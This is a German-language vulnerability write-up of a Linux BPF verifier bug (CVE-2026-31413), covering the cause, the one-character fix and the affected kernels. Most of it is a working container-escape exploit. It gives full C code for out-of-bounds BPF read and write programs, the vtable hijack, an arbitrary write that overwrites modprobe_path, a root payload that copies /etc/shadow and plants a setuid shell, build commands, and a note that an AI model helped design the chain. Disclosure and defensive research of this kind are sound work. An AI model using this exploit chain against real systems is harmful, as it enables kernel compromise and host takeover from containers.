
CVE-2026-31413: BPF-Verifier-Soundness-Bug - Container-Escape
Ich habe einen Soundness-Bug im Linux BPF-Verifier gefunden – ein + 1 in einem push_stack()-Aufruf, der dazu führt, dass der Verifier eine ALU-Instruktion auf einem verzweigten Pfad überspringt. Für BPF_OR bedeutet dies, dass der Verifier dst = 0 verfolgt, während die CPU 0 | K = K berechnet. Ich schrieb einen vollständigen Container-Ausbruch: OOB-Lesen/Schreiben aus einer BPF-Map, Vtable-Hijacking, Überschreiben von modprobe_path, Root auf dem Host. Dann erstellte ich eine Patch-Serie mit zwei Patches – eine Ein-Zeichen-Fix im Verifier und 90 Zeilen Selftests – und ließ sie in den Mainline-Merge einfließen.
📹 Demo-Video zum Container-Ausbruch
| CVE | CVE-2026-31413 |
| Bug-Klasse | Verifier-Soundness – Abweichung des Registerwerts |
| Ursache | push_stack(env, env->insn_idx + 1, ...) überspringt ALU-Instruktion auf verzweigtem Pfad |
| Eingeführt | bffacdb80b93 - Linux 7.0-rc1 (14. Jan. 2026) |
| Behoben | c845894ebd6f - Linux 7.0-rc5 (22. März 2026) |
| Betroffen | 6.12.75+ (stabiler Backport dea9989a3f) bis 7.0-rc4 |
| Auswirkung | Beliebiger Kernel-Lese-/Schreibzugriff → Container-Ausbruch → Host-Root |
| Erforderlich | CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN |
| Fix | Ein Zeichen: insn_idx + 1 → insn_idx |
maybe_fork_scalars() verzweigt den Verifier-Zustand, wenn es ARSH + AND/OR mit einer Konstante sieht. Der gepushte Pfad erhält dst = 0 und überspringt die ALU-Instruktion. Für AND ist das in Ordnung: 0 & K = 0. Für OR ist es falsch: 0 | K = K, nicht 0.
Der Verifier denkt, das Register sei Null. Die CPU hat K. Ich nutzte dies, um beliebiges OOB-Lesen/Schreiben aus einem BPF-Map-Wert aufzubauen, leckte die Kernel-Adresse der Map, erstellte eine gefälschte bpf_map_ops-Vtable, leitete map_push_elem über array_map_get_next_key für beliebiges Schreiben um und überschrieb modprobe_path. Ein unbekanntes Binärformat auslösen, der Kernel führt mein Skript als Root aus. In einem Container vollständiger Host-Ausbruch.
Zwei-Patch-Serie: ein Ein-Zeichen-Fix im Verifier plus 90 Zeilen BPF-Selftests, die OR vs. AND-Verzweigung abdecken. Gemerged von Alexei Starovoitov am 22. März. CVE-2026-31413 zugewiesen von Greg Kroah-Hartman am 12. April.
eBPF ermöglicht es Ihnen, kleine Programme in den Kernel zu laden – Paketfilter, Tracing-Hooks, Sicherheitsrichtlinien – ohne ein Kernel-Modul zu kompilieren. Der Haken ist, dass Sie Code in Ring 0 injizieren. Wenn dieser Code einen Fehler hat, ist es ein Kernel-Fehler.
Bevor also ein BPF-Programm ausgeführt wird, simuliert der Verifier des Kernels jeden möglichen Ausführungspfad. Er verfolgt, was jedes Register enthält (ein Zeiger? ein Skalar? welcher Bereich?), überprüft jeden Speicherzugriff auf Map-Grenzen und lehnt alles ab, was außerhalb der Grenzen lesen oder schreiben könnte. Wenn der Verifier ein Programm für sicher erklärt, kompiliert der JIT es in nativen Maschinencode und führt es mit voller Kernel-Berechtigung aus. Es gibt danach keine Laufzeit-Grenzprüfungen mehr. Der Verifier ist die Sicherheitsgrenze.
Aus diesem Grund unterscheiden sich Verifier-Soundness-Fehler von normalen Speicherfehlern. Bei einem Heap-Overflow oder UAF erhalten Sie eine Korruptionsprimitive und müssen von dort aus arbeiten – Heap sprayen, Objekte groomen, ein Zeitfenster ausnutzen. Bei einem Verifier-Fehler bringen Sie den Kernel dazu, eine Lüge über den Wert eines Registers zu glauben. Jede Grenzprüfung, die von diesem Register abhängt, wird bestanden. Der Kernel hat Ihren OOB-Zugriff genehmigt. Er führt ihn ohne Frage aus. Wenn Sie den Registerzustand korrekt abstimmen können, erhalten Sie eine saubere und zuverlässige Primitive daraus.
Ich auditierte maybe_fork_scalars() – neuer Code, hinzugefügt Januar 2026 in bffacdb80b93. State-Forking ist immer interessant, weil der Verifier dort in parallele Erkundungspfade aufteilt, und wenn ein Pfad einen falschen Wert verfolgt, ist alles stromabwärts dieses Pfades unsound.
Die Funktion verzweigt, wenn sie ARSH + AND/OR mit einer konstanten Quelle sieht. Der gepushte Pfad erhält dst = 0, überspringt die ALU-Instruktion. Ich las die Zeile push_stack(env, env->insn_idx + 1, ...) und es klickte sofort – das + 1 bedeutet, dass der gepushte Pfad die ALU-Operation nie ausführt. Für AND, 0 & K = 0, daher ist das Überspringen in Ordnung. Für OR, 0 | K = K. Der gepushte Pfad denkt, das Ergebnis sei 0, obwohl es tatsächlich K ist.
Ich schrieb noch am selben Abend ein BPF-Programm. ARSH 63, um {0, -1} zu erhalten, OR mit einer Konstante, bedingter Sprung, um die Verifier-Pfade zu trennen, dann Addieren des "Null"-Registers zu einem Map-Zeiger. Der Verifier genehmigte map_value + 0. Die CPU griff auf map_value + K zu. KASAN bestätigte den Out-of-Bounds-Zugriff in Tests.
OOB-Lesen/Schreiben am nächsten Morgen. Container-Ausbruch am nächsten Abend. Ich nutzte durchgehend Claude (Opus 4.5) – zum Durcharbeiten der State-Forking-Logik des Verifiers, zum Brainstorming von Exploitation-Primitives und zum Umwandeln des OOB in eine vollständige Escape-Chain. Der Vtable-Hijack-Ansatz entstand aus einem Hin und Her, bei dem Claude die Funktionszeiger von bpf_map_ops durchging und nach aufrufbaren Gadgets suchte.
Commit bffacdb80b93 ("bpf: Recognize special arithmetic shift in the verifier") wurde am 14. Januar 2026 in 7.0-rc1 aufgenommen. Alexei Starovoitov, gemeinsam entwickelt von Puranjay Mohan. Er fügte maybe_fork_scalars() hinzu, um ein LLVM-DAGCombiner-Muster zu behandeln:```
w2 s>>= 31 // arithmetic shift right: w2 becomes 0 or -1
w2 &= -134 // AND with constant K
LLVM senkt `select_cc setlt X, 0, A, 0` zu `sra + and` ab. Nach der arithmetischen Rechtsverschiebung ist das Register entweder `0` (nicht-negative Eingabe) oder `-1` (alle Einsen). AND mit einer Konstanten ergibt `0` oder `K`.
Der Verifier kann `{0, K}` in einem einzelnen `bpf_reg_state` nicht tracken – sein vorzeichenbehafteter Bereich `[0, K]` überapproximiert, und das führte dazu, dass er gültige Cilium-Programme ablehnte. Die Lösung: Forken des Verifier-Zustands. Ein Pfad untersucht `dst = 0`, der andere `dst = -1`, wobei jeder den genauen Wert verfolgt.
Die Implementierung:```c
static int maybe_fork_scalars(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state *dst_reg)
{
// ... condition check: dst range is [-1, 0], src is constant ...
branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
// ^^^^^^^^^^^^
// pushed path resumes AFTER the ALU insn
if (IS_ERR(branch))
return PTR_ERR(branch);
regs = branch->frame[branch->curframe]->regs;
__mark_reg_known(®s[insn->dst_reg], 0); // pushed: dst = 0
__mark_reg_known(dst_reg, -1ull); // current: dst = -1
return 0;
}
Zwei Dinge geschehen auf dem geschobenen Pfad:
0 gesetzt.insn_idx + 1 fortgesetzt – der Anweisung nach der ALU-Operation.Für BPF_AND: dst = 0, überspringe die AND-Operation. Laufzeit: 0 & K = 0. Übereinstimmung. Korrekt.
Für BPF_OR: dst = 0, überspringe die OR-Operation. Laufzeit: 0 | K = K. Nichtübereinstimmung.
Der Verifier sieht 0. Die CPU hat K. Nicht korrekt.
Die Funktion prüft den Opcode nicht. Sie wurde für AND geschrieben – wo das Überspringen
der Anweisung das Gleiche ist wie ihre Ausführung mit dst = 0 – und wurde auch auf
OR angewendet. Für OR gilt diese Gleichheit nicht.
Das Auslösemuster besteht aus fünf Anweisungen:``` r6 = (u64)(map_value + 0) // load a positive value (guaranteed by map init) r6 s>>= 63 // arithmetic shift: r6 = 0 (positive input) r6 |= K // BUG: verifier forks, pushed path gets r6=0 if r6 s< 0 goto exit // steers verifier paths r9 += r6 // verifier: r9 += 0 (in-bounds) // runtime: r9 += K (OOB)
Der Verifizierer erkundet zwei Pfade:
**Aktueller Pfad** (`dst = -1`): Das ODER wird ausgeführt, `-1 | K` ist immer noch `-1`. Der
Zweig `r6 s< 0` wird genommen. Der Verifizierer folgt dem Exit. Dieser Pfad ist sicher und
der Verifizierer bestätigt ihn.
**Verschobener Pfad** (`dst = 0`, ODER übersprungen): `r6 = 0`. Der Zweig `r6 s< 0` wird nicht
genommen. Der Verifizierer fällt durch zu `r9 += r6`, sieht `r9 += 0` und genehmigt den
darauffolgenden Speicherzugriff als innerhalb der Grenzen.
**Laufzeit** (`dst = 0`, ODER wird ausgeführt): Der Map-Wert ist positiv, also nach ARSH,
`r6 = 0`. Das ODER wird ausgeführt: `0 | K = K`. Der Zweig `K s< 0` wird nicht genommen (K ist
positiv). `r9 += K` - ein Zugriff außerhalb der Grenzen um `K` Bytes, vom Verifizierer als
`r9 += 0` genehmigt.
Ich kontrolliere `K`. Lese- oder Schreibzugriff mit beliebigem Offset außerhalb der Grenzen, relativ zu einem beliebigen BPF-Map-Wert.
Die Leseversion speichert die durchgesickerten Daten in eine zweite Map für den Userspace-Abruf.
Die Schreibversion lädt einen Wert aus einer dritten Map und schreibt ihn an den Offset außerhalb der Grenzen.
Beide passieren den Verifizierer.
Hier ist der vollständige `oob_read_prog` - dies ist der tatsächliche Code aus dem Exploit, nicht
Pseudocode:```c
static int oob_read_prog(int map_fd, int dst_fd, int offset)
{
int K = -offset;
struct bpf_insn insn[] = {
/* look up map_fd[0] → R0 = pointer to value, load seed into R6 */
BPF_LD_MAP_FD(R1, map_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_ST_MEM(BPF_DW, R10, -8, 0),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1), /* map_lookup_elem */
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_LDX_MEM(BPF_DW, R6, R0, 0), /* R6 = seed (positive) */
/* look up dst_fd[0] → R9 = pointer to output buffer */
BPF_LD_MAP_FD(R1, dst_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_ST_MEM(BPF_DW, R10, -8, 0),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_MOV64_REG(R9, R0),
/* look up map_fd[0] again → R8 = base pointer for OOB access */
BPF_LD_MAP_FD(R1, map_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
BPF_MOV64_REG(R8, R0),
/* === THE BUG === */
BPF_ALU64_IMM(BPF_ARSH, R6, 63), /* R6 = 0 (positive seed) */
BPF_ALU64_IMM(BPF_OR, R6, K), /* verifier: R6=0, runtime: R6=K */
BPF_MOV64_IMM(R7, 0),
BPF_ALU64_REG(BPF_SUB, R7, R6), /* R7 = -K = offset */
BPF_ALU64_REG(BPF_ADD, R8, R7), /* R8 = map_value + offset (OOB) */
BPF_LDX_MEM(BPF_DW, R0, R8, 0), /* OOB read: 8 bytes */
BPF_STX_MEM(BPF_DW, R9, R0, 0), /* store to output map */
BPF_MOV64_IMM(R0, 0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));
}
Und der OOB-Write - derselbe ARSH+OR-Trick, schreibt jedoch einen Wert aus einer dritten Map in den OOB-Offset:```c static int oob_write_prog(int map_fd, int val_fd, int offset) { int K = -offset; struct bpf_insn insn[] = { /* look up map_fd[0], load seed, trigger the bug / BPF_LD_MAP_FD(R1, map_fd), BPF_ST_MEM(BPF_W, R10, -4, 0), BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4), BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1), BPF_JMP_IMM(BPF_JEQ, R0, 0, 20), BPF_MOV64_REG(R9, R0), BPF_LDX_MEM(BPF_DW, R6, R9, 0), / R6 = seed */
BPF_ALU64_IMM(BPF_ARSH, R6, 63), /* R6 = 0 */
BPF_ALU64_IMM(BPF_OR, R6, K), /* R6 = K (verifier: 0) */
BPF_JMP_IMM(BPF_JSLT, R6, 0, 13), /* skip if negative (verifier path) */
BPF_MOV64_IMM(R7, 0),
BPF_ALU64_REG(BPF_SUB, R7, R6), /* R7 = -K */
BPF_ALU64_REG(BPF_ADD, R9, R7), /* R9 = OOB target */
/* look up val_fd[0] → R8 = value to write */
BPF_LD_MAP_FD(R1, val_fd),
BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4),
BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
BPF_JMP_IMM(BPF_JEQ, R0, 0, 4),
BPF_LDX_MEM(BPF_DW, R8, R0, 0), /* R8 = write value */
BPF_STX_MEM(BPF_DW, R9, R8, 0), /* OOB write */
BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 2),
BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));
}
Um entweder Programm zu starten, verbinde ich es mit einem Socket-Paar und schiebe ein Paket durch:```c
static int trigger_bpf_prog(int prog_fd)
{
int socks[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks) < 0) return -1;
setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd));
char buf[64] = "x";
write(socks[1], buf, sizeof(buf));
struct timeval tv = { .tv_sec = 1 };
setsockopt(socks[0], SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
read(socks[0], buf, sizeof(buf));
close(socks[0]); close(socks[1]);
return 0;
}
Das Negate-and-Add-Muster (R7 = 0 - R6; R8 += R7) ermöglicht es uns, negative Offsets vom Map-Wert zu erreichen - wo sich die eigenen Metadaten der Map befinden.
BPF_OR divergence (verifier: dst=0, runtime: dst=K) │ ▼ Arbitrary OOB read/write relative to map value │ ├── Read offset -136 → leak freeze_mutex.wait_list → map kernel address ├── Read offset -264 → leak ops vtable → confirm array_map_ops │ ▼ Build fake bpf_map_ops vtable in map value (42 slots from kallsyms) → slot 15 (map_push_elem) = array_map_get_next_key │ ▼ Corrupt map header via OOB writes → ops → fake vtable → map_type → BPF_MAP_TYPE_QUEUE (22) → max_entries → 0xFFFFFFFF │ ▼ bpf(BPF_MAP_UPDATE_ELEM) dispatches through map_push_elem → array_map_get_next_key(map, value, flags) → writes (u32)value + 1 to (u32)flags → flags = attacker-controlled kernel address │ ▼ Overwrite modprobe_path → "/tmpn/mo" │ ▼ Exec unknown binary format → kernel runs /tmpn/mo as root │ ▼ Restore map header → clean exit
### Das Ziel-Layout
Ein `BPF_MAP_TYPE_ARRAY` wird durch `struct bpf_array` gestützt, das `struct bpf_map` an Offset 0 einbettet. Die eigentlichen Map-Werte beginnen bei Offset 264 (nach dem `bpf_array`-Header + Alignment). Also von `value[0]` aus liegen die eigenen Metadaten der Map an bekannten negativen Offsets:```
struct bpf_map (embedded in bpf_array)
┌────────────────────────────────────────┐
offset from val[0] │ │
-264 │ ops (struct bpf_map_ops *) │ ← vtable pointer
-240 │ map_type (u32) │
-236 │ key_size (u32) │
-232 │ value_size (u32) │
-228 │ max_entries (u32) │
│ ... │
-136 │ freeze_mutex.wait_list │ ← points back into struct
│ ... │
0 │ value[0] ← our OOB origin │
└────────────────────────────────────────┘
Ich habe dies mit pahole auf dem 6.12.76-docker vmlinux überprüft. Auf dem getesteten Kernel stimmten die Offsets exakt überein.
Zwei OOB-Reads geben mir alles, was ich brauche:
wait_list bei Offset -136. Dies ist freeze_mutex.wait_list, ein list_head, das auf sich selbst zeigt, wenn der Mutex nicht umkämpft ist. Sein Wert ist &map->freeze_mutex.wait_list - ein Kernelzeiger in die Map-Struktur. Ziehe 128 ab und ich habe die Basisadresse der Map. Addiere 264 und ich habe die Kerneladresse von value[0].
ops bei Offset -264. Dies ist der bpf_map_ops vtable-Zeiger. Auf einem unveränderten Kernel zeigt er auf das globale array_map_ops-Symbol. Ich lese ihn aus, um zu bestätigen, dass der Kernel nicht gepatcht ist, und um die vtable-Adresse für das Klonen zu erhalten.```c
uint64_t wait_list = do_oob_read(victim, scratch, OFF_WAIT_LIST);
uint64_t map_addr = wait_list - 128;
uint64_t val_addr = map_addr + 264;
uint64_t ops = do_oob_read(victim, scratch, OFF_OPS); if (ops != ARRAY_MAP_OPS) { fprintf(stderr, "[-] ops mismatch! Kernel might be patched.\n"); return 1; }
An diesem Punkt habe ich: die Kernel-Adresse der Map, die Adresse meiner kontrollierten Daten (`value[0]`) und den bestätigten Vtable-Zeiger.
### Schritt 2: Gefälschte Vtable
`bpf_map_ops` hat 42 Funktionszeiger-Slots. Wenn ich nur diejenigen auf Null setze, die ich nicht benötige, wird der Kernel einen NULL-Deref auslösen, sobald er einen davon berührt. Also löse ich jedes Symbol aus `/proc/kallsyms` auf und erstelle eine vollständige Kopie:```c
uint64_t *vt = (uint64_t *)(val + 8); // offset 8 in value (slot 0 is seed)
vt[ 0] = sym_alloc_check; // map_alloc_check
vt[ 1] = sym_alloc; // map_alloc
vt[ 2] = 0; // map_release (unused path)
vt[ 3] = sym_free; // map_free
vt[ 4] = sym_get_next_key; // map_get_next_key
// ...
vt[12] = sym_lookup_elem; // map_lookup_elem
vt[13] = sym_update_elem; // map_update_elem
vt[14] = sym_delete_elem; // map_delete_elem
vt[15] = ARRAY_GET_NEXT_KEY; // map_push_elem ← THE HIJACK
// ...
vt[40] = sym_mem_usage; // map_mem_usage
Slot 15 ist map_push_elem. In der echten array_map_ops ist dies NULL (Arrays
unterstützen kein push). Ich ersetze es mit array_map_get_next_key.
Warum get_next_key? Seine Signatur ist:```c
int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)
Es liest `*(u32 *)key`, erhöht es, und schreibt das Ergebnis in `*(u32 *)next_key`. Wenn über den `map_push_elem` Dispatch-Pfad aufgerufen:```c
int bpf_map_push_elem(struct bpf_map *map, void *value, u64 flags)
→ map->ops->map_push_elem(map, value, flags)
Das flags-Argument landet im next_key-Parameter. Wenn ich flags kontrolliere, kontrolliere ich das Schreibziel. Der geschriebene Wert ist *(u32 *)value + 1 - eine kleine Ganzzahl, die ich vorhersagen kann, indem ich die ersten 4 Bytes meines Push-Puffers setze.
Bevor ich die gefälschte Vtable verwenden kann, muss ich die Map dorthin umleiten und ihren Typ ändern, damit der Kernel über map_push_elem dispatchen kann. Drei OOB-Schreibvorgänge, die in dieser Reihenfolge ausgeführt werden:```c
// Point ops at my fake vtable (lives at val_addr + 8)
exec_oob_write(prog_wr_ops, scratch, val_addr + 8);
// Disable max_entries bounds check exec_oob_write(prog_wr_max, scratch, 0xFFFFFFFFULL);
// Change map_type to BPF_MAP_TYPE_QUEUE (22) exec_oob_write(prog_wr_type, scratch, 22ULL);
Die Typänderung ist kritisch. Wenn der Userspace `bpf(BPF_MAP_UPDATE_ELEM)` auf
einer Array-Map aufruft, leitet der Kernel über `map_update_elem` weiter. Bei einer
Queue-Map hingegen leitet derselbe Syscall über `map_push_elem` - was nun auf
`array_map_get_next_key` zeigt.
Ich lade alle sechs BPF-Programme (drei Schreib- + drei Wiederherstellungsprogramme) *vor*
der Korruption des `ops`-Zeigers. Sobald ich den `ops`-Zeiger korrumpiere, kann ich keine neuen BPF-
Programme laden, die auf diese Map verweisen - der Verifier würde der gefälschten Vtable folgen und
abstürzen. Alles muss vorab vorbereitet sein.
### Schritt 4: Beliebiger Schreibzugriff via map_push_elem
Jetzt kann ich 4 Bytes an jede Kernel-Adresse schreiben:```c
#define ARB_WRITE32(addr, val32) do { \
uint32_t _v = (val32); \
uint32_t _pv = _v - 1; \
memset(push_buf, 0, sizeof(push_buf)); \
memcpy(push_buf, &_pv, 4); \
map_push(victim, push_buf, (addr)); \
} while(0)
map_push() ruft bpf(BPF_MAP_UPDATE_ELEM) mit flags = addr auf. Der Kernel
leitet weiter zu meinem gekaperten map_push_elem → array_map_get_next_key(map, push_buf, addr). Er liest *(u32 *)push_buf (welches val - 1 ist), addiert 1, und
schreibt val nach *(u32 *)addr.
Die Schreibprimitive ist ein 4-Byte-u32-Speicherzugriff via get_next_key. Es gibt keine
Ausrichtungsbeschränkungen – der Kernel führt ein normales *(u32 *)addr = val an
der von uns angegebenen Adresse durch.
modprobe_path ist ein globales char[256] im Kernel, standardmäßig /sbin/modprobe.
Wenn der Kernel auf eine ausführbare Datei mit einer unbekannten Magic Number stößt, ruft er
modprobe_path als root auf, um das entsprechende Modul zu laden. Überschreibe es mit einem Pfad,
den ich kontrolliere, löse ein unbekanntes Binärformat aus, und der Kernel führt mein Skript als
root aus.
Der Zielpfad ist /tmpn/mo. Ich kann keine beliebigen Zeichenketten schreiben – ich schreibe 4 Bytes
auf einmal über den Integer-Inkrement von get_next_key. Aber ich brauche nur zwei Schreibvorgänge:```c
// Original: "/sbin/modprobe\0"
// Write "/tmp" at offset 0:
ARB_WRITE32(MODPROBE_PATH + 0, 0x706d742fU); // "/tmp" little-endian
// Write "\0\0\0\0" at offset 8 (null-terminate):
ARB_WRITE32(MODPROBE_PATH + 8, 0x00000000U);
// Bytes 4-7 are untouched: "n/mo" from original "/sbin/modprobe"
// Result: "/tmpn/mo\0"
In container mode, `modprobe_path` resolves in the init mount namespace - not
the container's. So the payload script has to exist at `/tmpn/mo` on the host.
With `--pid=host` or a shared PID namespace, I reach the host filesystem through
`/proc/1/root/`:```c
snprintf(payload_script, sizeof(payload_script), "/proc/1/root/tmpn/mo");
In einem realen Angriff schreibt der Exploit die Nutzlast auf dem Host in /tmpn/mo über /proc/1/root/tmpn/mo (erreichbar, wenn der Pod einen gemeinsamen PID-Namensraum hat, wie es für Service-Mesh-Seitenwagen wie Cilium und Überwachungsagenten wie Falco Standard ist). Die Demo vereinfacht diesen Schritt: Der Orchestrator stellt die Nutzlast vorab auf dem Host bereit, sodass der Exploit nur die Ausführung auslösen muss.
Der Exploit erstellt die Trigger-Binärdatei – 4 Byte \xff – und führt sie aus. Der Kernel erkennt das Format nicht, sucht nach modprobe_path, findet /tmpn/mo und führt sie als Root aus.
Die Nutzlast:```sh #!/bin/sh id > /tmp/pwned cat /etc/shadow >> /tmp/pwned 2>/dev/null cp /bin/sh /tmp/pwn 2>/dev/null && chmod 04755 /tmp/pwn 2>/dev/null
### Schritt 6: Bereinigung
Nach dem Schreiben von `modprobe_path` stelle ich den Map-Header – Type, max_entries,
ops – mit den drei zuvor geladenen Wiederherstellungsprogrammen wieder her. Die Map wird wieder zu einem
normalen Array. Keine lose Fake-Vtable, keine Kernel-Instabilität. Der Exploit ist ein
Einzelschuss und hinterlässt einen sauberen Zustand.```c
exec_oob_write(prog_rst_type, scratch, orig_type_key);
exec_oob_write(prog_rst_max, scratch, orig_max);
exec_oob_write(prog_rst_ops, scratch, orig_ops);
In meiner Demo-Umgebung dauerte die gesamte Kette vom ersten OOB-Read bis zur root shell nur ein paar Sekunden.
Über den eigentlichen Container-Escape hinaus habe ich eine Reihe eigenständiger Exploit-Stufen entwickelt, die verschiedene Post-Exploitation-Fähigkeiten aus derselben Primitiven demonstrieren. Jede Stufe ist eine eigenständige C-Datei in exploit/, die die gemeinsame Hilfsbibliothek exploit_common.h für den ARSH+OR OOB-Read/Write-Setup verwendet.
Alle Stufen stellen jede Änderung vor dem Beenden wieder her. Getestet auf 6.12.76.
Oder einzeln:```bash
gcc -O2 -Wall -static -I. -o exploit/tier2_cred_overwrite exploit/tier2_cred_overwrite.c
sudo setcap cap_bpf,cap_perfmon,cap_net_admin,cap_syslog+ep exploit/tier2_cred_overwrite
Jede Stufe erfordert CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN + CAP_SYSLOG.
├── exploit/ │ ├── exploit_common.h # Shared primitives (OOB R/W, arb R/W, ksym) │ ├── exploit.c # Core container escape (modprobe_path) │ ├── exploit_gke.c # GKE/kCTF variant (v1: vtable hijack + modprobe_path) │ ├── exploit_gke_v2.c # v2: data-only cred overwrite (recommended) │ └── tier2-10_.c # Post-exploitation tiers (see table above) ├── poc/ │ ├── validate_bug.c # Minimal verifier bug trigger │ ├── test_oob.c # OOB access proof │ ├── leak_map_addr.c # Map address leak │ └── step1-3_.c # Incremental exploit development ├── patches/ │ └── *.patch # Fix + selftests (v3) ├── demo/ │ ├── container_escape_demo.mp4 # Full demo video │ ├── Dockerfile # Vulnerable container │ └── demo_escape.sh # Demo orchestrator ├── bpf_helpers.h # BPF syscall wrappers └── Makefile
---
## Wer ist betroffen
Der Exploit erfordert `CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN`. Auf einem gehärteten System erhält man diese von einem unprivilegierten Container oder einem normalen Benutzerkonto nicht. Aber es gibt viele Kontexte, in denen man diese Caps besitzt.
### Unprivilegierte BPF-Systeme
Wenn `kernel.unprivileged_bpf_disabled=0` ist (prüfen mit `sysctl`), kann jeder lokale Benutzer BPF-Programme laden. Früher war dies bei älteren Distributionen die Voreinstellung, und es wird manchmal für Entwicklungs-/Testumgebungen aktiviert. Auf diesen Systemen handelt es sich um eine direkte lokale Privilegienausweitung – jeder Benutzer zu root, keine besonderen Berechtigungen erforderlich.
Die meisten modernen Distributionen liefern `unprivileged_bpf_disabled=1` oder `=2` (gesperrt) aus, sodass dieser Pfad bei Standardinstallationen von Ubuntu 22.04+, Debian 12+, Fedora, RHEL 9 usw. geschlossen ist.
### Kubernetes / Container-Umgebungen
Hier schmerzt der Fehler. Standard-unprivilegierte Container lassen `CAP_BPF` fallen, sodass sie den Fehler nicht auslösen können. Aber viele Infrastruktur-Pods laufen mit erhöhten Caps:
| Produkt | Standardberechtigungen | Anmerkungen |
|---------|-----------------------|-------------|
| **Cilium** (GKE Dataplane V2) | `CAP_SYS_ADMIN` + `CAP_NET_ADMIN` | Netzwerkrichtlinie, läuft auf jedem Knoten |
| **Falco** | `privileged: true` | Runtime-Sicherheit, mountet /dev |
| **Tetragon** | `privileged: true` | eBPF-Beobachtbarkeit |
| **Datadog Agent** | `CAP_SYS_ADMIN` + 7 mehr | Metriken, Logs, APM |
| **Pixie** | `privileged: true` | eBPF-basierte Beobachtbarkeit |
| **Tracee** | `privileged: true` oder BPF-Caps | Aquas Runtime-Sicherheit |
Diese laufen typischerweise als DaemonSets – ein Pod pro Knoten, clusterweit. Wenn ein Angreifer einen dieser Pods kompromittiert (RCE in einem Webservice auf demselben Knoten, Supply-Chain-Angriff, SSRF in eine Agenten-API usw.), besitzt er die Caps, die benötigt werden, um diesen Exploit auszuführen und auf Host-Root zu entkommen.
**Wichtiger Vorbehalt:** Der Exploit funktioniert nur auf Kerneln, die den anfälligen Code enthalten (6.12.75-6.12.79, 6.18.x-6.18.20, 6.19.x-6.19.10, 7.0-rc1 bis rc4). Die meisten Produktions-K8s-Cluster laufen mit älteren LTS-Kerneln. Überprüfen Sie die Kernelversion Ihres Knotens mit `uname -r`, bevor Sie von einer Ausnutzbarkeit ausgehen.
Von Host-Root auf einem Knoten aus ist eine laterale Bewegung zu anderen Knoten normalerweise über dasselbe DaemonSet möglich (gemeinsam genutzte Servicekonten, eingehängte Secrets usw.).
### Managed Kubernetes (GKE, EKS, AKS)
Google GKE verwendet standardmäßig Cilium als Dataplane V2. Wenn GKE-Knoten einen ungepatchten 6.12.x-Kernel ausführen (überprüfen Sie Ihre Knotenpool-Version), wird jede Kompromittierung eines Cilium-Pods zu Host-Root und Knotenübernahme. Ich habe den Exploit speziell für dieses Szenario entwickelt – deshalb heißt er `exploit_gke.c`.
Amazon EKS und Azure AKS sind ebenfalls potenziell betroffen, wenn sie 6.12.x-Kernel mit Cilium oder ähnlichem BPF-basiertem Networking ausführen. Es müssen die spezifischen AMI-/VM-Image-Versionen überprüft werden.
### Android
Android verwendet eBPF für Netzwerkverkehrsabrechnung (netd), Leistungsprofilerstellung und Speicherverfolgung. Aktuelle Android-Geräte (14/15) verwenden 6.1 LTS-Kernel, die **nicht betroffen** sind. Android 16 wird möglicherweise 6.12 LTS übernehmen – wenn dies der Fall ist und der anfällige Backport enthalten ist, wären die Angriffsfläche Systemdienste wie `netd` und `system_server`, die BPF-Programme laden.
Dies ist spekulativ und hängt vom Zeitplan der Kernel-Übernahme durch Android ab. Ich habe einen Eintrag beim Android VRP zur Nachverfolgung eingereicht.
### Shared-Kernel-Container (LXC/LXD)
Systemcontainer, die den Host-Kernel teilen (im Gegensatz zu VMs), sind vollständig exponiert. Kompromittierung des gemeinsamen Kernels = Kompromittierung des Hosts + jedes anderen Containers darauf. Dies unterscheidet sich von Docker/containerd, bei denen Sie auf einen Host entkommen, der selbst eine VM sein könnte.
### Was es nicht umgeht
Dies ist ein Gast-Kernel-Fehler, keine Hypervisor-Eskalation. Wenn Sie den Exploit innerhalb einer EC2-Instanz ausführen, erhalten Sie root auf dieser Instanz – Sie entkommen nicht dem Nitro-Hypervisor zum physischen Host oder anderen Mandanten. Gleiches gilt für GCE, Azure-VMs, KVM usw. Die Hardwaregrenze hält.
### Betroffene Kernel
| Zweig | Betroffen | Behoben |
|--------|----------|---------|
| 6.12.y (LTS) | `dea9989a3f` through 6.12.79 | 6.12.80+ |
| 6.18.y | `4c122e8ae149` through 6.18.20 | 6.18.21+ |
| 6.19.y | `e52567173ba8` through 6.19.10 | 6.19.11+ |
